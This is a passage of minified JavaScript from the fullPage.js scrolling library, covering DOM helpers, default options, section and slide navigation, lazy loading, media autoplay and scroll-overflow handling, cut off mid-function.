t=r.createDocumentFragment();n.firstChild;)t.appendChild(n.firstChild);n.parentNode.replaceChild(t,n)}function R(n,t){return n&&1===n.nodeType?U(n,t)?n:R(n.parentNode,t):null}function C(n,t){F(n,n.nextSibling,t)}function z(n,t){F(n,n,t)}function F(n,t,e){A(e)||("string"==typeof e&&(e=Q(e)),e=[e]);for(var o=0;o<e.length;o++)n.parentNode.insertBefore(e[o],t)}function N(n){if(void 0!==n&&n.fitToSection)return r.body.scrollTop;var t=r.documentElement;return(i.pageYOffset||t.scrollTop)-(t.clientTop||0)}function B(n){return Array.prototype.filter.call(n.parentNode.children,(function(t){return t!==n}))}function I(n){n.preventDefault()}function H(n,t){return n.getAttribute(t)}function V(n,t,e){r.addEventListener(n,t,"undefined"===e?null:e)}function W(n,t,e){i.addEventListener(n,t,"undefined"===e?null:e)}function K(n,t,e){r.removeEventListener(n,t,"undefined"===e?null:e)}function _(n,t,e){i.removeEventListener(n,t,"undefined"===e?null:e)}function q(n){if("function"==typeof n)return!0;var t=Object.prototype.toString.call(n);return"[object Function]"===t||"[object GeneratorFunction]"===t}function G(n,t,e){var o;e=void 0===e?{}:e,"function"==typeof i.CustomEvent?o=new CustomEvent(t,{detail:e}):(o=r.createEvent("CustomEvent")).initCustomEvent(t,!0,!0,e),n.dispatchEvent(o)}function U(n,t){return(n.matches||n.t||n.msMatchesSelector||n.mozMatchesSelector||n.webkitMatchesSelector||n.oMatchesSelector).call(n,t)}function Y(n,t){if("boolean"==typeof t)for(var e=0;e<n.length;e++)n[e].style.display=t?"block":"none";return n}function Q(n){var t=r.createElement("div");return t.innerHTML=n.trim(),t.firstChild}function X(n){n=M(n);for(var t=0;t<n.length;t++){var e=n[t];e&&e.parentElement&&e.parentNode.removeChild(e)}}function $(n,t,e){for(var o=n[e],i=[];o;)(U(o,t)||null==t)&&i.push(o),o=o[e];return i}function J(n,t){return $(n,t,"nextElementSibling")}function Z(n,t){return $(n,t,"previousElementSibling")}function nn(n){return n[n.length-1]}function tn(n,t){for(var e=0,o=n.slice(Math.max(n.length-t,1)),i=0;i<o.length;i++)e+=o[i];return Math.ceil(e/t)}function en(n,t){n.setAttribute(t,H(n,"data-"+t)),n.removeAttribute("data-"+t)}function on(n){return on="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},on(n)}i.NodeList&&!NodeList.prototype.forEach&&(NodeList.prototype.forEach=function(n,t){t=t||window;for(var e=0;e<this.length;e++)n.call(t,this[e],e,this)}),"function"!=typeof Object.assign&&Object.defineProperty(Object,"assign",{value:function(n,t){if(null==n)throw new TypeError("Cannot convert undefined or null to object");for(var e=Object(n),o=1;o<arguments.length;o++){var i=arguments[o];if(null!=i)for(var r in i)Object.prototype.hasOwnProperty.call(i,r)&&(e[r]=i[r])}return e},writable:!0,o:!0}),window.fp_utils={$:p,deepExtend:h,hasClass:m,getWindowHeight:g,css:b,prev:y,next:S,last:function(n){return n[n.length-1]},index:T,getList:M,hide:x,show:k,isArrayOrList:A,addClass:O,removeClass:D,appendTo:j,wrap:E,wrapAll:L,unwrap:P,closest:R,after:C,before:z,insertBefore:F,getScrollTop:N,siblings:B,preventDefault:I,isFunction:q,trigger:G,matches:U,toggle:Y,createElementFromHTML:Q,remove:X,untilAll:$,nextAll:J,prevAll:Z,showError:s};var rn={i:{},u:function(n,t){var e=this;return"object"!==on(this.i[n])&&(this.i[n]=[]),this.i[n].push(t),function(){return e.removeListener(n,t)}},removeListener:function(n,t){if("object"===on(this.i[n])){var e=this.i[n].indexOf(t);e>-1&&this.i[n].splice(e,1)}},l:function(n){for(var t=this,e=arguments.length,o=new Array(e>1?e-1:0),i=1;i<e;i++)o[i-1]=arguments[i];"object"===on(this.i[n])&&this.i[n].forEach((function(n){return n.apply(t,o)}))},once:function(n,t){var e=this,o=this.u(n,(function(){o();for(var n=arguments.length,i=new Array(n),r=0;r<n;r++)i[r]=arguments[r];t.apply(e,i)}))}},an={v:0,p:0,slides:[],h:[],g:null,S:null,T:!1,M:!1,A:!1,O:!1,D:!1,j:void 0,L:void 0,P:!1,R:!0,C:"none",F:"none",N:!1,B:!0,I:0,H:g(),V:!1,W:{},scrollY:0,scrollX:0};function un(n){Object.assign(an,n)}function ln(){return an}function cn(n){rn.l("onClickOrTouch",{e:n,target:n.target})}function fn(){["click","touchstart"].forEach((function(n){K(n,cn)}))}function sn(){un({B:!0})}i.state=an,rn.u("bindEvents",(function(){["click","touchstart"].forEach((function(n){V(n,cn)})),W("focus",sn),rn.u("onDestroy",fn)}));var vn="fullpage-wrapper",dn="."+vn,pn="fp-responsive",hn="fp-notransition",mn="fp-destroyed",gn="fp-enabled",wn="active",bn=".active",yn="fp-completely",Sn="fp-section",Tn="."+Sn,Mn=".fp-tableCell",xn="fp-auto-height",kn="#fp-nav",An="fp-slide",On="."+An,Dn=".fp-slide.active",jn="fp-slides",En=".fp-slides",Ln="fp-slidesContainer",Pn="."+Ln,Rn="fp-table",Cn="fp-overflow",zn="."+Cn,Fn=".fp-slidesNav",Nn=".fp-slidesNav a",Bn="fp-controlArrow",In="."+Bn,Hn="fp-prev",Vn=".fp-controlArrow.fp-prev",Wn=".fp-controlArrow.fp-next",Kn={menu:!1,anchors:[],lockAnchors:!1,navigation:!1,navigationPosition:"right",navigationTooltips:[],showActiveTooltip:!1,slidesNavigation:!1,slidesNavPosition:"bottom",scrollBar:!1,hybrid:!1,licenseKey:"",credits:{enabled:!0,label:"Made with fullPage.js",position:"right"},css3:!0,scrollingSpeed:700,autoScrolling:!0,fitToSection:!0,easing:"easeInOutCubic",easingcss3:"ease",loopBottom:!1,loopTop:!1,loopHorizontal:!0,continuousVertical:!1,continuousHorizontal:!1,scrollHorizontally:!1,interlockedSlides:!1,dragAndMove:!1,offsetSections:!1,resetSliders:!1,fadingEffect:!1,normalScrollElements:null,scrollOverflow:!0,scrollOverflowReset:!1,touchSensitivity:5,touchWrapper:null,bigSectionsDestination:null,keyboardScrolling:!0,animateAnchor:!0,recordHistory:!0,allowCorrectDirection:!1,scrollOverflowMacStyle:!0,controlArrows:!0,controlArrowsHTML:['<div class="fp-arrow"></div>','<div class="fp-arrow"></div>'],controlArrowColor:"#fff",verticalCentered:!0,sectionsColor:[],paddingTop:0,paddingBottom:0,fixedElements:null,responsive:0,responsiveWidth:0,responsiveHeight:0,responsiveSlides:!1,parallax:!1,parallaxOptions:{type:"reveal",percentage:62,property:"translate"},cards:!1,cardsOptions:{perspective:100,fadeContent:!0,fadeBackground:!0},sectionSelector:".section",slideSelector:".slide",afterLoad:null,beforeLeave:null,onLeave:null,afterRender:null,afterResize:null,afterReBuild:null,afterSlideLoad:null,onSlideLeave:null,afterResponsive:null,onScrollOverflow:null,lazyLoading:!0,observer:!0},_n=null,qn=!1,Gn=h({},Kn),Un=null;function Yn(n){return _n}function Qn(){return Un||Kn}function Xn(){return Gn}function $n(n,t,e){Un[n]=t,"internal"!==e&&(Gn[n]=t)}function Jn(){if(!Qn().anchors.length){var n=p(Qn().sectionSelector.split(",").join("[data-anchor],")+"[data-anchor]",_n);n.length&&n.length===p(Qn().sectionSelector,_n).length&&(qn=!0,n.forEach((function(n){Qn().anchors.push(H(n,"data-anchor").toString())})))}if(!Qn().navigationTooltips.length){var t=p(Qn().sectionSelector.split(",").join("[data-tooltip],")+"[data-tooltip]",_n);t.length&&t.forEach((function(n){Qn().navigationTooltips.push(H(n,"data-tooltip").toString())}))}}var Zn=function(n){this.anchor=n.anchor,this.item=n.item,this.index=n.index(),this.isLast=this.index===n.item.parentElement.querySelectorAll(n.selector).length-1,this.isFirst=!this.index,this.isActive=n.isActive},nt=function(n,t){this.parent=this.parent||null,this.selector=t,this.anchor=H(n,"data-anchor")||Qn().anchors[T(n,Qn().sectionSelector)],this.item=n,this.isVisible=v(n),this.isActive=m(n,wn),this.K=m(n,Cn),this._=t===Qn().sectionSelector,this.q=R(n,Pn)||R(n,dn),this.index=function(){return this.siblings().indexOf(this)}};function tt(n){return n.map((function(n){return n.item}))}function et(n,t){return n.find((function(n){return n.item===t}))}nt.prototype.siblings=function(){return this._?this.isVisible?an.h:an.G:this.parent?this.parent.slides:0},nt.prototype.prev=function(){var n=this.siblings(),t=(this._?n.indexOf(this):this.parent.slides.indexOf(this))-1;return t>=0?n[t]:null},nt.prototype.next=function(){var n=this.siblings(),t=(this._?n.indexOf(this):this.parent.slides.indexOf(this))+1;return t<n.length?n[t]:null},nt.prototype.U=function(){return this._?an.h:an.Y};var ot,it,rt=function(n){Zn.call(this,n)},at=function(n){Zn.call(this,n)};function ut(n){var t=p(Dn,n);return t.length&&(n=t[0]),n}function lt(n){var t,e,o=Qn();return o.autoScrolling&&!o.scrollBar?(t=-n,e=p(dn)[0]):o.fitToSection?(t=n,e=r.body):(t=n,e=window),{options:t,element:e}}function ct(n,t){!Qn().autoScrolling||Qn().scrollBar||n.self!=window&&m(n,jn)?n.self!=window&&m(n,jn)?n.scrollLeft=t:n.scrollTo(0,t):n.style.top=t+"px"}function ft(n){var t="transform "+Qn().scrollingSpeed+"ms "+Qn().easingcss3;return D(n,hn),b(n,{"-webkit-transition":t,transition:t})}function st(n,t){var e=n.index(),o=T(t,Tn);return e==o?"none":e>o?"up":"down"}function vt(n){return O(n,hn)}function dt(n){return{"-webkit-transform":n,"-moz-transform":n,"-ms-transform":n,transform:n}}function pt(n,t){t?ft(Yn()):vt(Yn()),clearTimeout(ot),b(Yn(),dt(n)),c.test.X=n,ot=setTimeout((function(){D(Yn(),hn)}),10)}function ht(n){var t=Math.round(n);if(Qn().css3&&Qn().autoScrolling&&!Qn().scrollBar)pt("translate3d(0px, -"+t+"px, 0px)",!1);else if(Qn().autoScrolling&&!Qn().scrollBar)b(Yn(),{top:-t+"px"}),c.test.top=-t+"px";else{var e=lt(t);ct(e.element,e.options)}}function mt(n,t){$n("scrollingSpeed",n,t)}function gt(){clearTimeout(it)}function wt(n,t,e,o){var a=function(n){return n.self!=i&&m(n,jn)?n.scrollLeft:!Qn().autoScrolling||Qn().scrollBar?N(Qn()):n.offsetTop}(n),u=t-a,l=0;un({P:!0});var c=!1;n===r.body&&b(r.body,{"scroll-snap-type":"none"}),function r(){if(an.P){var f=t;l+=20,e&&(f=i.fp_easings[Qn().easing](l,a,u,e)),ct(n,f),l<e?(clearTimeout(it),it=setTimeout(r,20)):void 0===o||c||(o(),c=!0)}else l<e&&!c&&(o(),c=!0)}()}function bt(n){return n&&!n.item?new rt(new $t(n)):n?new rt(n):null}function yt(n){return n?new at(n):null}function St(n,t){var e,o=function(n,t){var e={afterRender:function(){return{section:bt(ln().g),J:yt(ln().g.activeSlide)}},onLeave:function(){return{origin:bt(t.items.origin),destination:bt(t.items.destination),direction:t.direction,trigger:ln().S}},afterLoad:function(){return e.onLeave()},afterSlideLoad:function(){return{section:bt(t.items.section),origin:bt(t.items.origin),destination:bt(t.items.destination),direction:t.direction,trigger:ln().S}},onSlideLeave:function(){return e.afterSlideLoad()},beforeLeave:function(){return e.onLeave()},onScrollOverflow:function(){return{section:bt(ln().g),J:yt(ln().g.activeSlide),position:t.position,direction:t.direction}}};return e[n]()}(n,t);return G(Yn(),n,o),!1!==Qn()[n].apply(o[Object.keys(o)[0]],(e=o,Object.keys(e).map((function(n){return e[n]}))))}function Tt(n){var t=ut(n);p("video, audio",t).forEach((function(n){n.hasAttribute("data-autoplay")&&"function"==typeof n.play&&n.play()})),p('iframe[src*="youtube.com/embed/"]',t).forEach((function(n){n.hasAttribute("data-autoplay")&&Mt(n),n.onload=function(){n.hasAttribute("data-autoplay")&&Mt(n)}}))}function Mt(n){n.contentWindow.postMessage('{"event":"command","func":"playVideo","args":""}',"*")}function xt(n){var t=ut(n);p("video, audio",t).forEach((function(n){n.hasAttribute("data-keepplaying")||"function"!=typeof n.pause||n.pause()})),p('iframe[src*="youtube.com/embed/"]',t).forEach((function(n){/youtube\.com\/embed\//.test(H(n,"src"))&&!n.hasAttribute("data-keepplaying")&&n.contentWindow.postMessage('{"event":"command","func":"pauseVideo","args":""}',"*")}))}function kt(n){Qn().lazyLoading&&p("img[data-src], img[data-srcset], source[data-src], source[data-srcset], video[data-src], audio[data-src], iframe[data-src]",ut(n)).forEach((function(n){if(["src","srcset"].forEach((function(t){var e=H(n,"data-"+t);null!=e&&e&&(en(n,t),n.addEventListener("load",(function(){})))})),U(n,"source")){var t=R(n,"video, audio");t&&(t.load(),t.onloadeddata=function(){})}}))}c.setScrollingSpeed=mt,rn.u("bindEvents",(function(){rn.u("onDestroy",gt)}));var At=null,Ot=null,Dt=null;function jt(){var n=ln().g.item,t=ln().g.activeSlide,e=Et(n),o=String(e);t&&(o=o+"-"+Et(t.item)),o=o.replace("/","-").replace("#","");var i=new RegExp("\\b\\s?fp-viewing-[^\\s]+\\b","g");At.className=At.className.replace(i,""),O(At,"fp-viewing-"+o)}function Et(n){if(!n)return null;var t=H(n,"data-anchor"),e=T(n);return null==t&&(t=e),t}function Lt(n,t,e){var o="";Qn().anchors.length&&!Qn().lockAnchors&&(n?(null!=e&&(o=e),null==t&&(t=n),un({L:t}),Pt(o+"/"+t)):null!=n?(un({L:t}),Pt(e)):Pt(e)),jt()}function Pt(n){if(Qn().recordHistory)location.hash=n;else if(a||l)i.history.replaceState(void 0,void 0,"#"+n);else{var t=i.location.href.split("#")[0];i.location.replace(t+"#"+n)}}function Rt(n,t,e){var o="Section"===t?Qn().anchors[n]:H(e,"data-anchor");return Qn().navigationTooltips[n]||o||t+" "+(n+1)}function Ct(n){I(n),un({S:"horizontalNav"});var t=R(this,Tn),e=p(En,R(this,Tn))[0],o=et(ln().h,t).slides[T(R(this,"li"))];rn.l("landscapeScroll",{slides:e,destination:o.item})}var zt,Ft={};function Nt(n,t,e){"all"!==t?Ft[e][t]=n:Object.keys(Ft[e]).forEach((function(t){Ft[e][t]=n}))}function Bt(){return Ft}function It(){var n=R(this,Tn);m(this,Hn)?Bt().m.left&&(un({S:"slideArrow"}),rn.l("moveSlideLeft",{section:n})):Bt().m.right&&(un({S:"slideArrow"}),rn.l("moveSlideRight",{section:n}))}function Ht(){clearTimeout(zt)}function Vt(n,t,e){var o,i,r=R(n,Tn),a=ln().h.filter((function(n){return n.item==r}))[0],u=a.slides.filter((function(n){return n.item==t}))[0],l={slides:n,destiny:t,direction:e,destinyPos:{left:t.offsetLeft},slideIndex:u.index(),section:r,sectionIndex:a.index(),anchorLink:a.anchor,slidesNav:p(Fn,r)[0],slideAnchor:u.anchor,prevSlide:a.activeSlide.item,prevSlideIndex:a.activeSlide.index(),items:{section:a,origin:a.activeSlide,destination:u},localIsResizing:an.O};l.Z=(o=l.prevSlideIndex,i=l.slideIndex,o==i?"none":o>i?"left":"right"),l.direction=l.direction?l.direction:l.Z,l.localIsResizing||un({R:!1}),Qn().onSlideLeave&&!l.localIsResizing&&"none"!==l.Z&&q(Qn().onSlideLeave)&&!1===St("onSlideLeave",l)?un({A:!1}):(O(t,wn),D(B(t),wn),Ut(),l.localIsResizing||(xt(l.prevSlide),kt(t)),function(n){!Qn().loopHorizontal&&Qn().controlArrows&&(Y(p(Vn,n.section),0!==n.slideIndex),Y(p(Wn,n.section),null!=S(n.destiny)))}(l),a.isActive&&!l.localIsResizing&&Lt(l.slideIndex,l.slideAnchor,l.anchorLink),function(n,t,e){var o,i,r=t.destinyPos;if(o=t.slidesNav,i=t.slideIndex,Qn().slidesNavigation&&null!=o&&(D(p(bn,o),wn),O(p("a",p("li",o)[i]),wn)),un({scrollX:Math.round(r.left)}),Qn().css3){var a="translate3d(-"+Math.round(r.left)+"px, 0px, 0px)";c.test.nn[t.sectionIndex]=a,b(ft(p(Pn,n)),dt(a)),clearTimeout(zt),zt=setTimeout((function(){Kt(t)}),Qn().scrollingSpeed)}else c.test.left[t.sectionIndex]=Math.round(r.left),wt(n,Math.round(r.left),Qn().scrollingSpeed,(function(){Kt(t)}))}(n,l))}function Wt(){clearTimeout(zt)}function Kt(n){n.localIsResizing||(q(Qn().afterSlideLoad)&&St("afterSlideLoad",n),un({R:!0}),Tt(n.destiny)),un({A:!1})}function _t(n,t){mt(0,"internal"),void 0!==t&&un({O:!0}),Vt(R(n,En),n),void 0!==t&&un({O:!1}),mt(Xn().scrollingSpeed,"internal")}Ft.m={up:!0,down:!0,left:!0,right:!0},Ft.k=h({},Ft.m),rn.u("onClickOrTouch",(function(n){var t=n.target;(U(t,In)||R(t,In))&&It.call(t,n)})),c.landscapeScroll=Vt,rn.u("bindEvents",(function(){rn.u("onPerformMovement",Ht)}));var qt=null,Gt=null;function Ut(){an.g=null,an.h.map((function(n){var t=m(n.item,wn);n.isActive=t,n.K=m(n.item,Cn),t&&(an.g=n),n.slides.length&&(n.activeSlide=null,n.slides.map((function(t){var e=m(t.item,wn);t.K=m(t.item,Cn),t.isActive=e,e&&(n.activeSlide=t)})))})),function(){var n=an.g,t=!!an.g&&an.g.slides.length,e=an.g?an.g.activeSlide:null;if(!n&&an.h.length&&!ln().T&&qt){var o=Xt(qt,an.h);o&&(an.g=o,an.g.isActive=!0,O(an.g.item,wn)),an.g&&ht(an.g.item.offsetTop)}if(t&&!e&&Gt){var i=Xt(Gt,an.g.slides);i&&(an.g.activeSlide=i,an.g.activeSlide.isActive=!0,O(an.g.activeSlide.item,wn)),an.g.activeSlide&&_t(an.g.activeSlide.item,"internal")}}()}function Yt(){var n=p(Qn().sectionSelector,Yn()),t=d(n),e=Array.from(n).map((function(n){return new $t(n)})),o=e.filter((function(n){return n.isVisible})),i=o.reduce((function(n,t){return n.concat(t.slides)}),[]);qt=Qt(an.g),Gt=Qt(an.g?an.g.activeSlide:null),an.v=t.length,an.p=o.reduce((function(n,t){return n+t.slides.length}),0),an.h=o,an.G=e,an.slides=i,an.Y=an.h.concat(an.slides)}function Qt(n){if(!n)return null;var t=n?n.item:null,e=n._?an.G:an.g.tn;if(t){var o=et(e,t);return o?o.index():null}return null}function Xt(n,t){var e,o=n-1,i=n;do{if(e=t[o]||t[i])break;o-=1,i+=1}while(o>=0||i<t.length);return e}var $t=function(n){var t=this;[].push.call(arguments,Qn().sectionSelector),nt.apply(this,arguments),this.en=p(Qn().slideSelector,n),this.tn=Array.from(this.en).map((function(n){return new Jt(n,t)})),this.slides=this.tn.filter((function(n){return n.isVisible})),this.activeSlide=this.slides.length?this.slides.filter((function(n){return n.isActive}))[0]||this.slides[0]:null};$t.prototype=nt.prototype,$t.prototype.constructor=$t;var Jt=function(n,t){this.parent=t,nt.call(this,n,Qn().slideSelector)};function Zt(){O(p(Qn().sectionSelector,Yn()),Sn),O(p(Qn().slideSelector,Yn()),An)}function ne(){G(y(this),"click")}function te(){X(p(kn));var n=r.createElement("div");n.setAttribute("id","fp-nav");var t=r.createElement("ul");n.appendChild(t),j(n,At);var e=p(kn)[0];O(e,"fp-"+Qn().navigationPosition),Qn().showActiveTooltip&&O(e,"fp-show-active");for(var o="",i=0;i<ln().h.length;i++){var a=ln().h[i],u="";Qn().anchors.length&&(u=a.anchor),o+='<li><a href="#'+encodeURI(u)+'"><span class="fp-sr-only">'+encodeURI(Rt(a.index(),"Section"))+"</span><span></span></a>";var l=Qn().navigationTooltips[a.index()];void 0!==l&&""!==l&&(o+='<div class="fp-tooltip fp-'+Qn().navigationPosition+'">'+l+"</div>"),o+="</li>"}p("ul",e)[0].innerHTML=o;var c=p("li",p(kn)[0])[ln().g.index()];O(p("a",c),wn)}function ee(n){n.preventDefault&&I(n),un({S:"verticalNav"});var t=T(R(this,"#fp-nav li"));rn.l("scrollPage",{destination:ln().h[t]})}function oe(n,t){$n("recordHistory",n,t)}function ie(n,t){n||ht(0),$n("autoScrolling",n,t);var e=ln().g.item;if(Qn().autoScrolling&&!Qn().scrollBar)b(Dt,{overflow:"hidden",height:"100%"}),D(At,"fp-scrollable"),oe(Xn().recordHistory,"internal"),b(Yn(),{"-ms-touch-action":"none","touch-action":"none"}),null!=e&&ht(e.offsetTop);else if(b(Dt,{overflow:"visible",height:"initial"}),O(At,"fp-scrollable"),oe(!!Qn().autoScrolling&&Xn().recordHistory,"internal"),b(Yn(),{"-ms-touch-action":"","touch-action":""}),null!=e){b(Dt,{"scroll-behavior":"unset"});var o=lt(e.offsetTop);o.element.scrollTo(0,o.options)}}Jt.prototype=nt.prototype,Jt.prototype.constructor=$t,c.setRecordHistory=oe,c.setAutoScrolling=ie,c.test.setAutoScrolling=ie,c.setFitToSection=ue,c.fitToSection=function(){};var re,ae="scrollSnapAlign"in(re=r.documentElement.style)||"on"in re||"rn"in re;function ue(n,t){le(n),$n("fitToSection",n,t)}function le(n){ae&&(Qn().fitToSection&&(!Qn().autoScrolling||Qn().scrollBar)&&n?O:D)(Ot,"fp-snaps")}function ce(){var n=Qn().responsive||Qn().responsiveWidth,t=Qn().responsiveHeight,e=n&&i.innerWidth<n,o=t&&i.innerHeight<t;n&&t?fe(e||o):n?fe(e):t&&fe(o)}function fe(n){var t=se();n?t||(ie(!1,"internal"),ue(!1,"internal"),x(p(kn)),O(At,pn),q(Qn().afterResponsive)&&Qn().afterResponsive.call(Yn(),n)):t&&(ie(Xn().autoScrolling,"internal"),ue(Xn().autoScrolling,"internal"),k(p(kn)),D(At,pn),q(Qn().afterResponsive)&&Qn().afterResponsive.call(Yn(),n))}function se(){return m(At,pn)}c.setResponsive=fe,rn.u("bindEvents",(function(){i.addEventListener("load",(function(){Qn().scrollOverflow&&!Qn().scrollBar&&(de.an(),de.un())})),Qn().scrollOverflow&&tt(ln().Y).forEach((function(n){n.addEventListener("scroll",de.ln),n.addEventListener("wheel",de.cn),n.addEventListener("keydown",de.cn),n.addEventListener("keydown",de.sn)}))}));var ve,de={vn:null,dn:null,pn:null,cn:function(n){if(!an.R)return I(n),!1},un:function(){r.activeElement===this.vn&&this.vn.blur(),p(zn,ln().g.item)[0]&&(this.vn=p(zn,ln().g.item)[0],this.vn.focus())},an:function(){Qn().scrollOverflowMacStyle&&!u&&O(At,"fp-scroll-mac"),ln().Y.forEach((function(n){if(!(m(n.item,"fp-noscroll")||m(n.item,xn)||m(n.item,"fp-auto-height-responsive")&&se())){var t=de.hn(n.item),e=de.mn(n.item);e?(O(t,Cn),t.setAttribute("tabindex","-1")):(D(t,Cn),t.removeAttribute("tabindex")),n.K=e}}))},hn:function(n){return p(Dn,n)[0]||n},gn:function(n){return n._&&n.activeSlide?n.activeSlide.K:n.K},mn:function(n){return n.scrollHeight>i.innerHeight},wn:function(n,t){if(!an.R)return!1;if(!Qn().scrollOverflow)return!0;var e=de.hn(t),o=e.scrollTop,i="up"===n&&o<=0,r="down"===n&&e.scrollHeight<=e.offsetHeight+o,a=i||r;return a||(this.dn=(new Date).getTime()),a},bn:function(){this.pn=(new Date).getTime();var n=this.pn-de.dn,t=a||l;return t&&an.N&&n>400||!t&&n>600},ln:(ve=0,function(n){var t=n.target.scrollTop,e="none"!==an.C?an.C:ve<t?"down":"up";ve=t,q(Qn().onScrollOverflow)&&St("onScrollOverflow",{position:t,direction:e}),m(n.target,Cn)&&an.R&&de.wn(e,n.target)&&de.bn()&&rn.l("onScrollOverflowScrolled",{direction:e})})};function pe(n){Qn().verticalCentered&&(de.gn(n)||m(n.item,Rn)||O(n.item,Rn))}function he(n){var t=n.slides.length,e=n.en,o=n.slides,i=100*t,a=100/t;if(!p(En,n.item)[0]){var u=r.createElement("div");u.className=jn,L(e,u);var l=r.createElement("div");l.className=Ln,L(e,l)}b(p(Pn,n.item),{width:i+"%"}),t>1&&(Qn().controlArrows&&function(n){var t=n.item,e=[Q(Qn().controlArrowsHTML[0]),Q(Qn().controlArrowsHTML[1])];C(p(En,t)[0],e),O(e,Bn),O(e[0],Hn),O(e[1],"fp-next"),"#fff"!==Qn().controlArrowColor&&(b(p(Wn,t),{"border-color":"transparent transparent transparent "+Qn().controlArrowColor}),b(p(Vn,t),{"border-color":"transparent "+Qn().controlArrowColor+" transparent transparent"})),Qn().loopHorizontal||x(p(Vn,t))}(n),Qn().slidesNavigation&&function(n){var t=n.item,e=n.slides.length;j(Q('<div class="fp-slidesNav"><ul></ul></div>'),t);var o=p(Fn,t)[0];O(o,"fp-"+Qn().slidesNavPosition);for(var i=0;i<e;i++)j(Q('<li><a href="#"><span class="fp-sr-only">'+encodeURI(Rt(i,"Slide",p(On,t)[i]))+"</span><span></span></a></li>"),p("ul",o)[0]);b(o,{"margin-left":"-"+o.innerWidth/2+"px"});var r=n.activeSlide?n.activeSlide.index():0;O(p("a",p("li",o)[r]),wn)}(n)),o.forEach((function(n){b(n.item,{width:a+"%"}),Qn().verticalCentered&&pe(n)}));var c=n.activeSlide||null;null!=c&&an.g&&(0!==an.g.index()||0===an.g.index()&&0!==c.index())?_t(c.item,"internal"):O(e[0],wn)}var me,ge=null;function we(n){var t=n.item,e=n.en.length,o=n.index();!ln().g&&n.isVisible&&(O(t,wn),Ut()),ge=ln().g.item,Qn().paddingTop&&b(t,{"padding-top":Qn().paddingTop}),Qn().paddingBottom&&b(t,{"padding-bottom":Qn().paddingBottom}),void 0!==Qn().sectionsColor[o]&&b(t,{"background-color":Qn().sectionsColor[o]}),void 0!==Qn().anchors[o]&&t.setAttribute("data-anchor",n.anchor),e||pe(n)}c.getActiveSection=function(){return ln().g};var be={attributes:!1,subtree:!0,childList:!0,characterData:!0};function ye(){return d(p(Qn().slideSelector,Yn())).length!==ln().p}function Se(n){var t=ye();(ye()||d(p(Qn().sectionSelector,Yn())).length!==ln().v)&&!an.V&&(Qn().observer&&me&&me.disconnect(),Yt(),Ut(),Qn().anchors=[],X(p(kn)),Zt(),Jn(),Qn().navigation&&te(),t&&(X(p(Fn)),X(p(In))),ln().h.forEach((function(n){n.slides.length?t&&he(n):we(n)}))),Qn().observer&&me&&me.observe(p(dn)[0],be)}rn.u("bindEvents",(function(){var n,t,e;Qn().observer&&"MutationObserver"in window&&(n=p(dn)[0],t=be,(e=new MutationObserver(Se)).observe(n,t),me=e),rn.u("contentChanged",Se)})),c.yn=Se;var Te=function(){var n=!1;try{var t=Object.defineProperty({},"passive",{get:function(){n=!0}});W("testPassive",null,t),_("testPassive",null,t)}catch(n){}return function(){return n}}();function Me(){return!!Te()&&{passive:!1}}(new Date).getTime();var xe,ke,Ae,Oe,De,je,Ee=(ke=(new Date).getTime(),function(n,t){var e=(new Date).getTime(),o="wheel"===n?Qn().scrollingSpeed:100;return e-ke>=o&&(xe=t(),ke=e),void 0===xe||xe}),Le=(De=(new Date).getTime(),je=[],{Sn:function(n){var t=(n=n||i.event).wheelDelta||-n.deltaY||-n.detail,e=Math.max(-1,Math.min(1,t)),o=void 0!==n.wheelDeltaX||void 0!==n.deltaX;Ae=Math.abs(n.wheelDeltaX)<Math.abs(n.wheelDelta)||Math.abs(n.deltaX)<Math.abs(n.deltaY)||!o;var r=(new Date).getTime();Oe=e<0?"down":"up",je.length>149&&je.shift(),je.push(Math.abs(t));var a=r-De;De=r,a>200&&(je=[])},Tn:function(){var n=tn(je,10)>=tn(je,70);return!!je.length&&n&&Ae},Mn:function(){return Oe}});function Pe(){var n=Qn().css3?N(Qn())+g():nn(ln().h).item.offsetTop+nn(ln().h).item.offsetHeight,t=lt(n);c.test.top=-n+"px",b(r.body,{"scroll-snap-type":"none"}),b(Dt,{"scroll-behavior":"unset"}),un({R:!1}),wt(t.element,t.options,Qn().scrollingSpeed,(function(){setTimeout((function(){un({T:!0}),un({R:!0})}),30)}))}function Re(){Yn().getBoundingClientRect().bottom>=0&&Ce()}function Ce(){var n=lt(nn(ln().h).item.offsetTop);un({R:!1}),wt(n.element,n.options,Qn().scrollingSpeed,(function(){un({R:!0}),un({T:!1}),un({xn:!1})}))}var ze,Fe,Ne,Be,Ie,He=(ze=!1,Fe={},Ne={},function(n,t,e){switch(n){case"set":Fe[t]=(new Date).getTime(),Ne[t]=e;break;case"isNewKeyframe":var o=(new Date).getTime();ze=o-Fe[t]>Ne[t]}return ze});function Ve(){var n=p(".fp-auto-height")[0]||se()&&p(".fp-auto-height-responsive")[0];Qn().lazyLoading&&n&&p(".fp-section:not(.active)").forEach((function(n){var t,e,o,i,r;e=(t=n.getBoundingClientRect()).top,o=t.bottom,i=e+2<an.H&&e>0,r=o>2&&o<an.H,(i||r)&&kt(n)}))}function We(n,t){var e;e=n,Qn().menu&&Qn().menu.length&&p(Qn().menu).forEach((function(n){null!=n&&(D(p(bn,n),wn),O(p('[data-menuanchor="'+e+'"]',n),wn))})),function(n,t){var e=p(kn)[0];Qn().navigation&&null!=e&&"none"!==e.style.display&&(D(p(bn,e),wn),O(n?p('a[href="#'+n+'"]',e):p("a",p("li",e)[t]),wn))}(n,t)}function Ke(n,t){if(q(Qn().beforeLeave))return Ee(ln().S,(function(){return St(n,t)}))}function _e(n,t,e){var o=n.item;if(null!=o){var i,r,a=function(n){var t=n.offsetHeight,e=n.offsetTop,o=e,i=e>an.I,r=o-g()+t,a=Qn().bigSectionsDestination;return t>g()?(i||a)&&"bottom"!==a||(o=r):(i||an.O&&null==S(n))&&(o=r),un({I:o}),o}(o),u={element:o,callback:t,isMovementUp:e,dtop:a,yMovement:st(ln().g,o),anchorLink:n.anchor,sectionIndex:n.index(),activeSlide:n.activeSlide?n.activeSlide.item:null,leavingSection:ln().g.index()+1,localIsResizing:an.O,items:{origin:ln().g,destination:n},direction:null};if(!(ln().g.item==o&&!an.O||Qn().scrollBar&&N(Qn())===u.dtop&&!m(o,xn))){if(null!=u.activeSlide&&(i=H(u.activeSlide,"data-anchor"),r=T(u.activeSlide,null)),!u.localIsResizing){var l=u.yMovement;if(void 